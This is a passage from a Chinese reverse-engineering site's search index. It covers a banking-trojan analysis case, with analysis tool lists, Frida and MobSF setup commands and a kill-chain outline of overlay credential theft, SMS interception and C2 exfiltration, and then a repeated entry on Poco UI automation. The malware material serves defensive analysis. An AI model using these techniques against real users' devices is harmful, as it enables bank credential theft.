Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#综合分析平台"},{"categories":null,"collections":null,"content":"静态分析工具 工具 用途 说明 Jadx Java 反编译 最常用的 Android 反编译工具 APKiD 壳/编译器识别 快速识别加壳、混淆、编译器类型 APKTool APK 解包/重打包 资源文件分析和修改 Bytecode Viewer 多引擎反编译 同时查看多个反编译器的输出 IDA Pro Native 分析 SO 库逆向分析的行业标准 Ghidra Native 分析 NSA 开源逆向工具，免费替代 IDA Dex2jar DEX 转 JAR 将 DEX 转为 JAR 后用 JD-GUI 查看 ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:10:2","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#静态分析工具"},{"categories":null,"collections":null,"content":"动态分析工具 工具 用途 说明 Frida 动态插桩 核心分析工具，Hook 任意函数 Objection Frida 封装 简化常见操作 (SSL bypass, 类枚举等) Burp Suite HTTP(S) 抓包 分析 C2 通信 mitmproxy HTTP(S) 抓包 命令行抓包，支持脚本扩展 Wireshark 全量抓包 分析非 HTTP 协议的 C2 通信 strace 系统调用追踪 监控文件、网络操作 ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:10:3","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#动态分析工具"},{"categories":null,"collections":null,"content":"威胁情报工具 工具 用途 说明 YARA 恶意软件规则匹配 编写规则扫描和分类恶意样本 MISP 威胁情报共享 开源威胁情报平台 OTX (AlienVault) 威胁情报 免费威胁情报社区 Shodan 网络空间搜索 搜索 C2 服务器基础设施 Censys 网络空间搜索 类似 Shodan，搜索互联网资产 URLhaus 恶意 URL 数据库 查询和提交恶意 URL Bazaar (abuse.ch) 恶意软件样本库 下载和查询恶意样本 ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:10:4","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#威胁情报工具"},{"categories":null,"collections":null,"content":"推荐分析环境搭建 # 1. 安装 Python 工具 pip install frida-tools objection apkid mobsf yara-python # 2. 安装 Jadx wget https://github.com/skylot/jadx/releases/latest/download/jadx-x.x.x.zip unzip jadx-*.zip -d /opt/jadx # 3. 安装 APKTool wget https://github.com/iBotPeaches/Apktool/releases/latest/download/apktool_x.x.x.jar mv apktool_*.jar /usr/local/bin/apktool.jar # 4. 部署 MobSF (Docker) docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf # 5. 准备 Frida Server wget https://github.com/frida/frida/releases/latest/download/frida-server-x.x.x-android-arm64.xz unxz frida-server-*.xz adb push frida-server-*-android-arm64 /data/local/tmp/frida-server adb shell \"chmod 755 /data/local/tmp/frida-server\" # 6. 安装 YARA brew install yara # macOS # apt install yara # Linux ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:10:5","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#推荐分析环境搭建"},{"categories":null,"collections":null,"content":"总结 分析银行木马的关键在于理解其攻击链 (Kill Chain)： ┌─────────────────────────────────────────────────────────────┐ │ 银行木马攻击链 (Kill Chain) │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 1. Infection (感染) │ │ └──\u003e 钓鱼短信/恶意网站 诱导安装 │ │ │ │ 2. Persistence (持久化) │ │ └──\u003e 无障碍权限 + 设备管理器 + 开机自启 + 保活 │ │ │ │ 3. Stealing (窃取) │ │ └──\u003e 覆盖攻击窃取凭证 + 短信拦截 + 键盘记录 │ │ │ │ 4. Exfiltration (回传) │ │ └──\u003e 加密数据通过 HTTPS/Telegram 回传 C2 │ │ │ │ 5. Control (控制) │ │ └──\u003e C2 下发指令：更新覆盖页面、自我销毁、远程控制 │ │ │ └─────────────────────────────────────────────────────────────┘ 逆向工程师的任务是阻断这一链条： 提取 IOC - C2 域名、IP、文件 Hash、加密密钥 编写检测规则 - YARA 规则、网络签名 (Snort/Suricata) 协助查杀 - 提供特征给安全厂商更新病毒库 溯源分析 - 通过代码风格、基础设施关联攻击者 漏洞修补 - 向银行 App 开发团队通报覆盖攻击风险 提示: 恶意软件分析是一个持续对抗的过程。攻击者不断更新技术手段（从 Java 层转向 Native 层，从 HTTP 转向 Telegram/Firebase，从单一功能转向模块化架构），分析师也需要持续跟踪最新的攻击技术和防御策略。 ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:11:0","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#总结"},{"categories":null,"collections":null,"content":"工程化：自动化与群控系统 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： ADB 速查手册 - 设备控制与应用管理基础 虚拟化与容器技术 - 理解模拟器与容器环境 在虚拟化和容器化解决了\"环境\"问题之后，自动化和群控系统则负责解决\"执行\"和\"管理\"的问题。它们是驱动整个规模化测试和分析流水线运转的核心引擎。 ","date":"2025-02-03","objectID":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/:0:0","tags":["Docker","代理池","Unity游戏","自动化","Android","ARM汇编"],"title":"工程化：自动化与群控系统","uri":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/#工程化自动化与群控系统"},{"categories":null,"collections":null,"content":"1. 自动化框架 自动化框架是模拟用户行为、与 App UI 进行交互的工具集。它的核心任务是代替人工，实现对 App 的程序化控制。 ","date":"2025-02-03","objectID":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/:1:0","tags":["Docker","代理池","Unity游戏","自动化","Android","ARM汇编"],"title":"工程化：自动化与群控系统","uri":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/#1-自动化框架"},{"categories":null,"collections":null,"content":"a) 主流框架对比 框架 驱动原理 优点 缺点 适用场景 Appium WebDriver 协议 -\u003e UIAutomator2/XCUITest 跨平台（Android/iOS），多语言支持，生态成熟，功能强大。 环境配置复杂，执行速度相对较慢，对 App 有一定的侵入性（需要安装 WebDriver Agent）。 标准化的、跨平台的端到端（E2E）功能测试。 UIAutomator2 (Python) Google UIAutomator2 直接与设备通信，速度快，稳定，API 简洁易用。 仅支持 Android，功能相对 Appium 较少。 纯 Android 平台的快速自动化、爬虫和日常脚本。 Airtest / Poco 图像识别 + UI 控件 能够解决无法获取 UI 控件树的问题（如游戏），跨引擎（Unity, Cocos）。 图像识别不稳定，受分辨率和 UI 变化影响大，速度慢。 游戏自动化，黑盒测试。 ","date":"2025-02-03","objectID":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/:1:1","tags":["Docker","代理池","Unity游戏","自动化","Android","ARM汇编"],"title":"工程化：自动化与群控系统","uri":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/#a-主流框架对比"},{"categories":null,"collections":null,"content":"b) 脚本编写的最佳实践 分离 UI 元素与业务逻辑 (Page Object Model): 不要将 UI 元素的定位符（如 resource-id）硬编码在业务代码中。应该为每个页面创建一个类（Page Object），封装该页面的所有元素和操作。当 UI 变化时，你只需要修改对应的 Page Object，而无需改动业务流程代码。 明确的断言: 每个测试用例都应该有明确的成功或失败的判断标准（断言）。例如，点击登录后，断言\"用户名\"元素是否出现在下一个页面。 异常处理与重试: 网络延迟、系统弹窗等都可能导致自动化失败。在关键步骤加入合理的等待、异常捕获和重试机制，可以大大提高脚本的稳定性。 日志与报告: 在脚本的关键节点输出有意义的日志。测试结束后，生成图文并茂的测试报告（如 Allure Report），方便快速定位问题。 ","date":"2025-02-03","objectID":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/:1:2","tags":["Docker","代理池","Unity游戏","自动化","Android","ARM汇编"],"title":"工程化：自动化与群控系统","uri":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/#b-脚本编写的最佳实践"},{"categories":null,"collections":null,"content":"c) Poco 自动化技术深度解析 Poco 是网易推出的 UI 自动化测试框架，专为游戏和复杂应用设计，是 Airtest 项目的核心组件之一。 核心架构与原理 ┌─────────────────────────────────────────────────────────┐ │ 控制端 (PC) │ │ ┌─────────────┐ ┌──────────────┐ ┌──────────────┐ │ │ │ Poco Client │──│ RPC 通信 │──│ 测试脚本 │ │ │ └─────────────┘ └──────────────┘ └──────────────┘ │ └─────────────────────────────────────────────────────────┘ │ WebSocket/Socket │ ┌─────────────────────────────────────────────────────────┐ │ 设备端 (手机/模拟器) │ │ ┌──────────────────────────────────────────────────┐ │ │ │ Poco SDK (嵌入游戏/应用) │ │ │ │ ┌──────────┐ ┌──────────┐ ┌──────────────┐ │ │ │ │ │ RPC 服务 │ │ UI树抓取 │ │ 指令执行器 │ │ │ │ │ └──────────┘ └──────────┘ └──────────────┘ │ │ │ └──────────────────────────────────────────────────┘ │ └─────────────────────────────────────────────────────────┘ 工作流程: SDK 嵌入: 游戏/应用集成 Poco SDK，启动 RPC 服务 建立连接: 控制端通过 WebSocket 与 SDK 通信 UI 树获取: SDK 遍历游戏引擎的 UI 控件，生成控件树 指令执行: 接收控制端指令，操作对应 UI 控件 结果回传: 将操作结果和状态信息返回控制端 SDK 集成方式 Unity 引擎集成: // Unity 项目中集成 Poco SDK using Poco; public class PocoManager : MonoBehaviour { void Start() { // 启动 Poco 服务 var poco = new PocoServiceBuilder() .SetPort(5001) .SetDebugMode(true) .Build(); poco.Start(); } } Cocos2d-x 集成: // Cocos2d-x 项目集成 bool AppDelegate::applicationDidFinishLaunching() { // 初始化 Poco 服务 poco::PocoManager::getInstance()-\u003estart(); return true; } Android 原生集成: public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // 启动 Poco 服务 Poco.start(\"poco\", 5001); } } Python 控制端使用 基础连接与操作: from poco.drivers.unity3d import UnityPoco from poco.drivers.android.uiautomation import AndroidUiautomationPoco # Unity 游戏连接 poco = UnityPoco(('192.168.1.100', 5001)) # Android 原生应用连接 poco = AndroidUiautomationPoco( use_airtest_input=True, screenshot_each_action=False ) # 基本操作 poco('Button').click() # 点击按钮 poco('InputField').set_text('test') # 输入文本 poco('ScrollView').swipe('up') # 滑动操作 # 等待元素出现 poco('LoadingPanel').wait_for_disappearance() # 等待加载完成 高级选择器: # 属性选择 poco(text='确定').click() poco(name='startBtn', enabled=True).click() poco(type='Button', visible=True).click() # 相对位置选择 poco('username').sibling('password') # 兄弟节点 poco('title').parent() # 父节点 # 条件过滤 buttons = poco('Button').filter( lambda x: x.get_text().startswith('确定') ) 游戏专用操作: # 拖拽操作 poco.drag_to([0.2, 0.2], [0.8, 0.8]) # 多点触控 poco.pinch(in_or_out='in', center=[0.5, 0.5], percent=0.6) # 等待游戏状态 def wait_for_battle_end(): return poco('BattleResult').exists() poco.wait_for_all(wait_for_battle_end, timeout=60) 跨引擎适配 def get_poco_instance(engine_type, device_info): \"\"\"根据引擎类型创建对应的 Poco 实例\"\"\" if engine_type == 'unity': return UnityPoco(device_info['addr']) elif engine_type == 'cocos': return CocosJSPoco(device_info['addr']) elif engine_type == 'unreal': return UE4Poco(device_info['addr']) elif engine_type == 'android': return AndroidUiautomationPoco() else: raise ValueError(f\"Unsupported engine: {engine_type}\") 连接池管理 import queue class PocoConnectionPool: def __init__(self, max_connections=10): self.pool = queue.Queue(max_connections) self.max_connections = max_connections def get_connection(self, addr): try: return self.pool.get_nowait() except queue.Empty: return UnityPoco(addr) def return_connection(self, conn): try: self.pool.put_nowait(conn) except queue.Full: pass # 丢弃多余连接 批量操作优化 def batch_get_elements(poco, selectors): \"\"\"批量获取多个元素，减少 RPC 调用\"\"\" elements = {} for name, selector in selectors.items(): try: elements[name] = poco(selector) except: elements[name] = None return elements # 使用示例 ui_elements = batch_get_elements(poco, { 'start_btn': 'StartButton', 'settings_btn': 'SettingsButton', 'exit_btn': 'ExitButton' }) 稳定性增强 from functools import wraps import time def retry_on_failure(max_retries=3, delay=1): def decorator(func): @wraps(func) def wrapper(*args, **kwargs): for attempt in range(max_retries): try: return func(*args, **kwargs) except Exception as e: if attempt == max_retries - 1: raise e print(f\"Attempt {attempt ","date":"2025-02-03","objectID":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/:1:3","tags":["Docker","代理池","Unity游戏","自动化","Android","ARM汇编"],"title":"工程化：自动化与群控系统","uri":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/#c-poco-自动化技术深度解析"},{"categories":null,"collections":null,"content":"c) Poco 自动化技术深度解析 Poco 是网易推出的 UI 自动化测试框架，专为游戏和复杂应用设计，是 Airtest 项目的核心组件之一。 核心架构与原理 ┌─────────────────────────────────────────────────────────┐ │ 控制端 (PC) │ │ ┌─────────────┐ ┌──────────────┐ ┌──────────────┐ │ │ │ Poco Client │──│ RPC 通信 │──│ 测试脚本 │ │ │ └─────────────┘ └──────────────┘ └──────────────┘ │ └─────────────────────────────────────────────────────────┘ │ WebSocket/Socket │ ┌─────────────────────────────────────────────────────────┐ │ 设备端 (手机/模拟器) │ │ ┌──────────────────────────────────────────────────┐ │ │ │ Poco SDK (嵌入游戏/应用) │ │ │ │ ┌──────────┐ ┌──────────┐ ┌──────────────┐ │ │ │ │ │ RPC 服务 │ │ UI树抓取 │ │ 指令执行器 │ │ │ │ │ └──────────┘ └──────────┘ └──────────────┘ │ │ │ └──────────────────────────────────────────────────┘ │ └─────────────────────────────────────────────────────────┘ 工作流程: SDK 嵌入: 游戏/应用集成 Poco SDK，启动 RPC 服务 建立连接: 控制端通过 WebSocket 与 SDK 通信 UI 树获取: SDK 遍历游戏引擎的 UI 控件，生成控件树 指令执行: 接收控制端指令，操作对应 UI 控件 结果回传: 将操作结果和状态信息返回控制端 SDK 集成方式 Unity 引擎集成: // Unity 项目中集成 Poco SDK using Poco; public class PocoManager : MonoBehaviour { void Start() { // 启动 Poco 服务 var poco = new PocoServiceBuilder() .SetPort(5001) .SetDebugMode(true) .Build(); poco.Start(); } } Cocos2d-x 集成: // Cocos2d-x 项目集成 bool AppDelegate::applicationDidFinishLaunching() { // 初始化 Poco 服务 poco::PocoManager::getInstance()-\u003estart(); return true; } Android 原生集成: public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // 启动 Poco 服务 Poco.start(\"poco\", 5001); } } Python 控制端使用 基础连接与操作: from poco.drivers.unity3d import UnityPoco from poco.drivers.android.uiautomation import AndroidUiautomationPoco # Unity 游戏连接 poco = UnityPoco(('192.168.1.100', 5001)) # Android 原生应用连接 poco = AndroidUiautomationPoco( use_airtest_input=True, screenshot_each_action=False ) # 基本操作 poco('Button').click() # 点击按钮 poco('InputField').set_text('test') # 输入文本 poco('ScrollView').swipe('up') # 滑动操作 # 等待元素出现 poco('LoadingPanel').wait_for_disappearance() # 等待加载完成 高级选择器: # 属性选择 poco(text='确定').click() poco(name='startBtn', enabled=True).click() poco(type='Button', visible=True).click() # 相对位置选择 poco('username').sibling('password') # 兄弟节点 poco('title').parent() # 父节点 # 条件过滤 buttons = poco('Button').filter( lambda x: x.get_text().startswith('确定') ) 游戏专用操作: # 拖拽操作 poco.drag_to([0.2, 0.2], [0.8, 0.8]) # 多点触控 poco.pinch(in_or_out='in', center=[0.5, 0.5], percent=0.6) # 等待游戏状态 def wait_for_battle_end(): return poco('BattleResult').exists() poco.wait_for_all(wait_for_battle_end, timeout=60) 跨引擎适配 def get_poco_instance(engine_type, device_info): \"\"\"根据引擎类型创建对应的 Poco 实例\"\"\" if engine_type == 'unity': return UnityPoco(device_info['addr']) elif engine_type == 'cocos': return CocosJSPoco(device_info['addr']) elif engine_type == 'unreal': return UE4Poco(device_info['addr']) elif engine_type == 'android': return AndroidUiautomationPoco() else: raise ValueError(f\"Unsupported engine: {engine_type}\") 连接池管理 import queue class PocoConnectionPool: def __init__(self, max_connections=10): self.pool = queue.Queue(max_connections) self.max_connections = max_connections def get_connection(self, addr): try: return self.pool.get_nowait() except queue.Empty: return UnityPoco(addr) def return_connection(self, conn): try: self.pool.put_nowait(conn) except queue.Full: pass # 丢弃多余连接 批量操作优化 def batch_get_elements(poco, selectors): \"\"\"批量获取多个元素，减少 RPC 调用\"\"\" elements = {} for name, selector in selectors.items(): try: elements[name] = poco(selector) except: elements[name] = None return elements # 使用示例 ui_elements = batch_get_elements(poco, { 'start_btn': 'StartButton', 'settings_btn': 'SettingsButton', 'exit_btn': 'ExitButton' }) 稳定性增强 from functools import wraps import time def retry_on_failure(max_retries=3, delay=1): def decorator(func): @wraps(func) def wrapper(*args, **kwargs): for attempt in range(max_retries): try: return func(*args, **kwargs) except Exception as e: if attempt == max_retries - 1: raise e print(f\"Attempt {attempt ","date":"2025-02-03","objectID":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/:1:3","tags":["Docker","代理池","Unity游戏","自动化","Android","ARM汇编"],"title":"工程化：自动化与群控系统","uri":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/#核心架构与原理"},{"categories":null,"collections":null,"content":"c) Poco 自动化技术深度解析 Poco 是网易推出的 UI 自动化测试框架，专为游戏和复杂应用设计，是 Airtest 项目的核心组件之一。 核心架构与原理 ┌─────────────────────────────────────────────────────────┐ │ 控制端 (PC) │ │ ┌─────────────┐ ┌──────────────┐ ┌──────────────┐ │ │ │ Poco Client │──│ RPC 通信 │──│ 测试脚本 │ │ │ └─────────────┘ └──────────────┘ └──────────────┘ │ └─────────────────────────────────────────────────────────┘ │ WebSocket/Socket │ ┌─────────────────────────────────────────────────────────┐ │ 设备端 (手机/模拟器) │ │ ┌──────────────────────────────────────────────────┐ │ │ │ Poco SDK (嵌入游戏/应用) │ │ │ │ ┌──────────┐ ┌──────────┐ ┌──────────────┐ │ │ │ │ │ RPC 服务 │ │ UI树抓取 │ │ 指令执行器 │ │ │ │ │ └──────────┘ └──────────┘ └──────────────┘ │ │ │ └──────────────────────────────────────────────────┘ │ └─────────────────────────────────────────────────────────┘ 工作流程: SDK 嵌入: 游戏/应用集成 Poco SDK，启动 RPC 服务 建立连接: 控制端通过 WebSocket 与 SDK 通信 UI 树获取: SDK 遍历游戏引擎的 UI 控件，生成控件树 指令执行: 接收控制端指令，操作对应 UI 控件 结果回传: 将操作结果和状态信息返回控制端 SDK 集成方式 Unity 引擎集成: // Unity 项目中集成 Poco SDK using Poco; public class PocoManager : MonoBehaviour { void Start() { // 启动 Poco 服务 var poco = new PocoServiceBuilder() .SetPort(5001) .SetDebugMode(true) .Build(); poco.Start(); } } Cocos2d-x 集成: // Cocos2d-x 项目集成 bool AppDelegate::applicationDidFinishLaunching() { // 初始化 Poco 服务 poco::PocoManager::getInstance()-\u003estart(); return true; } Android 原生集成: public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // 启动 Poco 服务 Poco.start(\"poco\", 5001); } } Python 控制端使用 基础连接与操作: from poco.drivers.unity3d import UnityPoco from poco.drivers.android.uiautomation import AndroidUiautomationPoco # Unity 游戏连接 poco = UnityPoco(('192.168.1.100', 5001)) # Android 原生应用连接 poco = AndroidUiautomationPoco( use_airtest_input=True, screenshot_each_action=False ) # 基本操作 poco('Button').click() # 点击按钮 poco('InputField').set_text('test') # 输入文本 poco('ScrollView').swipe('up') # 滑动操作 # 等待元素出现 poco('LoadingPanel').wait_for_disappearance() # 等待加载完成 高级选择器: # 属性选择 poco(text='确定').click() poco(name='startBtn', enabled=True).click() poco(type='Button', visible=True).click() # 相对位置选择 poco('username').sibling('password') # 兄弟节点 poco('title').parent() # 父节点 # 条件过滤 buttons = poco('Button').filter( lambda x: x.get_text().startswith('确定') ) 游戏专用操作: # 拖拽操作 poco.drag_to([0.2, 0.2], [0.8, 0.8]) # 多点触控 poco.pinch(in_or_out='in', center=[0.5, 0.5], percent=0.6) # 等待游戏状态 def wait_for_battle_end(): return poco('BattleResult').exists() poco.wait_for_all(wait_for_battle_end, timeout=60) 跨引擎适配 def get_poco_instance(engine_type, device_info): \"\"\"根据引擎类型创建对应的 Poco 实例\"\"\" if engine_type == 'unity': return UnityPoco(device_info['addr']) elif engine_type == 'cocos': return CocosJSPoco(device_info['addr']) elif engine_type == 'unreal': return UE4Poco(device_info['addr']) elif engine_type == 'android': return AndroidUiautomationPoco() else: raise ValueError(f\"Unsupported engine: {engine_type}\") 连接池管理 import queue class PocoConnectionPool: def __init__(self, max_connections=10): self.pool = queue.Queue(max_connections) self.max_connections = max_connections def get_connection(self, addr): try: return self.pool.get_nowait() except queue.Empty: return UnityPoco(addr) def return_connection(self, conn): try: self.pool.put_nowait(conn) except queue.Full: pass # 丢弃多余连接 批量操作优化 def batch_get_elements(poco, selectors): \"\"\"批量获取多个元素，减少 RPC 调用\"\"\" elements = {} for name, selector in selectors.items(): try: elements[name] = poco(selector) except: elements[name] = None return elements # 使用示例 ui_elements = batch_get_elements(poco, { 'start_btn': 'StartButton', 'settings_btn': 'SettingsButton', 'exit_btn': 'ExitButton' }) 稳定性增强 from functools import wraps import time def retry_on_failure(max_retries=3, delay=1): def decorator(func): @wraps(func) def wrapper(*args, **kwargs): for attempt in range(max_retries): try: return func(*args, **kwargs) except Exception as e: if attempt == max_retries - 1: raise e print(f\"Attempt {attempt ","date":"2025-02-03","objectID":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/:1:3","tags":["Docker","代理池","Unity游戏","自动化","Android","ARM汇编"],"title":"工程化：自动化与群控系统","uri":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/#sdk-集成方式"},{"categories":null,"collections":null,"content":"c) Poco 自动化技术深度解析 Poco 是网易推出的 UI 自动化测试框架，专为游戏和复杂应用设计，是 Airtest 项目的核心组件之一。 核心架构与原理 ┌─────────────────────────────────────────────────────────┐ │ 控制端 (PC) │ │ ┌─────────────┐ ┌──────────────┐ ┌──────────────┐ │ │ │ Poco Client │──│ RPC 通信 │──│ 测试脚本 │ │ │ └─────────────┘ └──────────────┘ └──────────────┘ │ └─────────────────────────────────────────────────────────┘ │ WebSocket/Socket │ ┌─────────────────────────────────────────────────────────┐ │ 设备端 (手机/模拟器) │ │ ┌──────────────────────────────────────────────────┐ │ │ │ Poco SDK (嵌入游戏/应用) │ │ │ │ ┌──────────┐ ┌──────────┐ ┌──────────────┐ │ │ │ │ │ RPC 服务 │ │ UI树抓取 │ │ 指令执行器 │ │ │ │ │ └──────────┘ └──────────┘ └──────────────┘ │ │ │ └──────────────────────────────────────────────────┘ │ └─────────────────────────────────────────────────────────┘ 工作流程: SDK 嵌入: 游戏/应用集成 Poco SDK，启动 RPC 服务 建立连接: 控制端通过 WebSocket 与 SDK 通信 UI 树获取: SDK 遍历游戏引擎的 UI 控件，生成控件树 指令执行: 接收控制端指令，操作对应 UI 控件 结果回传: 将操作结果和状态信息返回控制端 SDK 集成方式 Unity 引擎集成: // Unity 项目中集成 Poco SDK using Poco; public class PocoManager : MonoBehaviour { void Start() { // 启动 Poco 服务 var poco = new PocoServiceBuilder() .SetPort(5001) .SetDebugMode(true) .Build(); poco.Start(); } } Cocos2d-x 集成: // Cocos2d-x 项目集成 bool AppDelegate::applicationDidFinishLaunching() { // 初始化 Poco 服务 poco::PocoManager::getInstance()-\u003estart(); return true; } Android 原生集成: public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // 启动 Poco 服务 Poco.start(\"poco\", 5001); } } Python 控制端使用 基础连接与操作: from poco.drivers.unity3d import UnityPoco from poco.drivers.android.uiautomation import AndroidUiautomationPoco # Unity 游戏连接 poco = UnityPoco(('192.168.1.100', 5001)) # Android 原生应用连接 poco = AndroidUiautomationPoco( use_airtest_input=True, screenshot_each_action=False ) # 基本操作 poco('Button').click() # 点击按钮 poco('InputField').set_text('test') # 输入文本 poco('ScrollView').swipe('up') # 滑动操作 # 等待元素出现 poco('LoadingPanel').wait_for_disappearance() # 等待加载完成 高级选择器: # 属性选择 poco(text='确定').click() poco(name='startBtn', enabled=True).click() poco(type='Button', visible=True).click() # 相对位置选择 poco('username').sibling('password') # 兄弟节点 poco('title').parent() # 父节点 # 条件过滤 buttons = poco('Button').filter( lambda x: x.get_text().startswith('确定') ) 游戏专用操作: # 拖拽操作 poco.drag_to([0.2, 0.2], [0.8, 0.8]) # 多点触控 poco.pinch(in_or_out='in', center=[0.5, 0.5], percent=0.6) # 等待游戏状态 def wait_for_battle_end(): return poco('BattleResult').exists() poco.wait_for_all(wait_for_battle_end, timeout=60) 跨引擎适配 def get_poco_instance(engine_type, device_info): \"\"\"根据引擎类型创建对应的 Poco 实例\"\"\" if engine_type == 'unity': return UnityPoco(device_info['addr']) elif engine_type == 'cocos': return CocosJSPoco(device_info['addr']) elif engine_type == 'unreal': return UE4Poco(device_info['addr']) elif engine_type == 'android': return AndroidUiautomationPoco() else: raise ValueError(f\"Unsupported engine: {engine_type}\") 连接池管理 import queue class PocoConnectionPool: def __init__(self, max_connections=10): self.pool = queue.Queue(max_connections) self.max_connections = max_connections def get_connection(self, addr): try: return self.pool.get_nowait() except queue.Empty: return UnityPoco(addr) def return_connection(self, conn): try: self.pool.put_nowait(conn) except queue.Full: pass # 丢弃多余连接 批量操作优化 def batch_get_elements(poco, selectors): \"\"\"批量获取多个元素，减少 RPC 调用\"\"\" elements = {} for name, selector in selectors.items(): try: elements[name] = poco(selector) except: elements[name] = None return elements # 使用示例 ui_elements = batch_get_elements(poco, { 'start_btn': 'StartButton', 'settings_btn': 'SettingsButton', 'exit_btn': 'ExitButton' }) 稳定性增强 from functools import wraps import time def retry_on_failure(max_retries=3, delay=1): def decorator(func): @wraps(func) def wrapper(*args, **kwargs): for attempt in range(max_retries): try: return func(*args, **kwargs) except Exception as e: if attempt == max_retries - 1: raise e print(f\"Attempt {attempt ","date":"2025-02-03","objectID":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/:1:3","tags":["Docker","代理池","Unity游戏","自动化","Android","ARM汇编"],"title":"工程化：自动化与群控系统","uri":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/#python-控制端使用"},{"categories":null,"collections":null,"content":"c) Poco 自动化技术深度解析 Poco 是网易推出的 UI 自动化测试框架，专为游戏和复杂应用设计，是 Airtest 项目的核心组件之一。 核心架构与原理 ┌─────────────────────────────────────────────────────────┐ │ 控制端 (PC) │ │ ┌─────────────┐ ┌──────────────┐ ┌──────────────┐ │ │ │ Poco Client │──│ RPC 通信 │──│ 测试脚本 │ │ │ └─────────────┘ └──────────────┘ └──────────────┘ │ └─────────────────────────────────────────────────────────┘ │ WebSocket/Socket │ ┌─────────────────────────────────────────────────────────┐ │ 设备端 (手机/模拟器) │ │ ┌──────────────────────────────────────────────────┐ │ │ │ Poco SDK (嵌入游戏/应用) │ │ │ │ ┌──────────┐ ┌──────────┐ ┌──────────────┐ │ │ │ │ │ RPC 服务 │ │ UI树抓取 │ │ 指令执行器 │ │ │ │ │ └──────────┘ └──────────┘ └──────────────┘ │ │ │ └──────────────────────────────────────────────────┘ │ └─────────────────────────────────────────────────────────┘ 工作流程: SDK 嵌入: 游戏/应用集成 Poco SDK，启动 RPC 服务 建立连接: 控制端通过 WebSocket 与 SDK 通信 UI 树获取: SDK 遍历游戏引擎的 UI 控件，生成控件树 指令执行: 接收控制端指令，操作对应 UI 控件 结果回传: 将操作结果和状态信息返回控制端 SDK 集成方式 Unity 引擎集成: // Unity 项目中集成 Poco SDK using Poco; public class PocoManager : MonoBehaviour { void Start() { // 启动 Poco 服务 var poco = new PocoServiceBuilder() .SetPort(5001) .SetDebugMode(true) .Build(); poco.Start(); } } Cocos2d-x 集成: // Cocos2d-x 项目集成 bool AppDelegate::applicationDidFinishLaunching() { // 初始化 Poco 服务 poco::PocoManager::getInstance()-\u003estart(); return true; } Android 原生集成: public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // 启动 Poco 服务 Poco.start(\"poco\", 5001); } } Python 控制端使用 基础连接与操作: from poco.drivers.unity3d import UnityPoco from poco.drivers.android.uiautomation import AndroidUiautomationPoco # Unity 游戏连接 poco = UnityPoco(('192.168.1.100', 5001)) # Android 原生应用连接 poco = AndroidUiautomationPoco( use_airtest_input=True, screenshot_each_action=False ) # 基本操作 poco('Button').click() # 点击按钮 poco('InputField').set_text('test') # 输入文本 poco('ScrollView').swipe('up') # 滑动操作 # 等待元素出现 poco('LoadingPanel').wait_for_disappearance() # 等待加载完成 高级选择器: # 属性选择 poco(text='确定').click() poco(name='startBtn', enabled=True).click() poco(type='Button', visible=True).click() # 相对位置选择 poco('username').sibling('password') # 兄弟节点 poco('title').parent() # 父节点 # 条件过滤 buttons = poco('Button').filter( lambda x: x.get_text().startswith('确定') ) 游戏专用操作: # 拖拽操作 poco.drag_to([0.2, 0.2], [0.8, 0.8]) # 多点触控 poco.pinch(in_or_out='in', center=[0.5, 0.5], percent=0.6) # 等待游戏状态 def wait_for_battle_end(): return poco('BattleResult').exists() poco.wait_for_all(wait_for_battle_end, timeout=60) 跨引擎适配 def get_poco_instance(engine_type, device_info): \"\"\"根据引擎类型创建对应的 Poco 实例\"\"\" if engine_type == 'unity': return 